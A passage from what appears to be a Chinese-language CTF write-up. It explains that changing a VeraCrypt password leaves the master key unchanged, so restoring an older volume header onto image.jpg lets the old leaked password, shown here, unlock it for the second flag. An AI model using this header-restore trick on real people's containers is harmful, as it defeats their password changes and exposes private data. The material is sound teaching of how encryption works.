,这个是由最开始的随机数(鼠标随便乱移的熵)生成的,用于对数据区进行加解密。之后由用户设定挂载密码,是用于加解密主密钥Masterkey
的。
因此在用户更改vc的挂载密码时候其实并没有更改Masterkey
,只是更改了Masterkey
的解密密码。
这主要是方便于对于几个GB甚至更大的vc容器快速修改挂载密码。
基于以上,由于image.jpg
仅仅是在image.png
的基础上修改了挂载密码,并没有修改masterkey
,因此直接备份image.png
的加密卷头(包含了使用image.png挂载密码加密后的主密钥),恢复到image.jpg
上,即可用image.png
的挂载密码,即EasyP@ssw0rd_from_Git_History,解开image.jpg
,拿到第二段flag